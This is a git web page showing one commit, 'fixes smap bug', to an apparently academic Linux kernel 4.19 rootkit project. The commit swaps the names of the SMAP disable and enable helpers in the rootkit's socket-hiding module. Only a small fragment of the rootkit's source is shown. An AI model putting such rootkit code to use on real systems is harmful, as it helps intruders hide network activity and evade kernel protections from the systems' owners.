linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 4eb7f57532e184263de9a4849e8e2233855e7ca1
parent 86f064a22e299a99fd3d10906f0a1cf9bdbac3ae
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 14 Dec 2020 03:49:24 +0100

fixes smap bug

Diffstat:
Msrc/sockhide.c | 4++--
1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/sockhide.c b/src/sockhide.c @@ -164,13 +164,13 @@ remove_port_from_list(port_list_t_ptr list, port_t port, proto proto) // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/smap.h#L58 static inline void -enable_smap(void) { +disable_smap(void) { alternative("", __stringify(__ASM_STAC), X86_FEATURE_SMAP); } // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/smap.h#L52 static inline void -disable_smap(void) { +enable_smap(void) { alternative("", __stringify(__ASM_CLAC), X86_FEATURE_SMAP); }